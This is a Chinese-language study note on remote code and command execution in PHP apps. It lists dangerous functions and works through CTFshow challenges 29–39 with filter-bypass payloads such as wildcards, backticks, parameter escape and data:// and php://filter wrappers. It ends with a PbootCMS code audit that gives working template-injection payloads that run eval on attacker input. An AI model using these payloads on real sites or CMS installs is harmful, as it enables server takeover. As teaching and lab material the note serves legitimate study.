总览

知识点

调用命令的漏洞:高危

1.为什么会产生此类安全问题
2.此类安全问题探针利用及危害
3.此类安全问题在CTF即CMS分析

漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行
漏洞区别:脚本语言&操作系统(php/java/python/js&windows/linux/mac)
漏洞对象:WEB源码&中间件&其他环境(见漏洞详情对象)
漏洞危害:直接权限丢失,可执行任意脚本代码或系统命令

RCE-原理&探针&利用&危害等

RCE 分为两类

  • RCE代码执行:引用脚本代码解析执行

    • 把你接收过来的数据以当前脚本代码进行执行
    将数据以代码进行执行
    eval('phpinfo();');
  • RCE命令执行:脚本调用操作系统命令

    将数据以(系统命令)命令进行执行
    system('ls');

和其它漏洞的区别:将字符串进行解析执行

危害:执行命令和代码。能读写文件。

黑盒探针RCE:难/几率小

大部分:基于白盒和网上爆出的RCE。

漏洞函数:★★★★★★

1.PHP:
运行代码: eval()、assert()、preg_replace()、call_user_func()、call_user_func_array()以及array_map()等
运行系统命令: system, ``, shell_exec ,popen, passthru, proc_open等
2.Python:
eval exec subprocess os.system commands
3.Java:
Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,

但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

实战

CTFshow-29~39-RCE代码命令执行

29-通配符

原始:
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload:
?c=system('tac fla*.*');

30-取代函数&通配符&管道符

使用其他函数取代system
原始:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload1:
?c=echo shell_exec('tac fla*')
payload2:
`cp fla*.ph* 2.txt`; ==> 相当于system的作用
不过遗憾的是页面没有回显 ==> `tac fla*`
最后访问2.txt得到flag
/2.txt

31-参数逃逸

原始:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}
payload:
过滤c参数的值,但不过滤1参数的值
?c=eval($_GET[1]);&1=system('tac flag.php');

32~36-配合包含&伪协议

32原始:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

payload1:
?>代替;进行分割,继续构造新变量
再搭配data伪协议
?c=include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>

payload2:
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
前期的文件包含漏洞--伪协议都能使用。

37~39-包含&伪协议&通配符

data://text/plain,<?=system('tac fla*');?>
php://input post:<?php system('tac flag.php');?>

代码审计-PbootCMS-RCE代码执行

代码审计:
框架源码和常规源码,文件地址和URL是不直接对应的
后面涉及,当下不涉及


流程:搜索特定函数eval->parserIfLabel->parserCommom->About&Content->构造

public function parserIfLabel($content)
{
$pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
$pattern2 = '/pboot:([0-9])+if/';
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html = '';
// 对于无参数函数不执行解析工作
if (preg_match('/[\w]+\(\)/', $matches[1][$i])) {
continue;
}

# 相关输出
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');

if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在else
switch ($flag) {
case 'if': // 条件为真
if (isset($matches2[1])) {
$out_html = $matches2[1];
}
break;
case 'else': // 条件为假
if (isset($matches2[2])) {
$out_html = $matches2[2];
}
break;
}
} elseif ($flag == 'if') {
$out_html = $matches[2][$i];
}

// 无限极嵌套解析
if (preg_match($pattern2, $out_html, $matches3)) {
$out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html);
$out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html);
$out_html = $this->parserIfLabel($out_html);
}

// 执行替换
$content = str_replace($matches[0][$i], $out_html, $content);
}
}
return $content;
}

payload:留言内容,再访问about
AboutController:{pboot:if(eval($_POST[1]))}!!!{/pboot:if}
ContentController:/index.php/Content/2?keyword={pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}&1=phpinfo();

层面-探针-语言&CMS框架&中间件

http://vulfocus.io/

Shiro代码执行漏洞

weblogic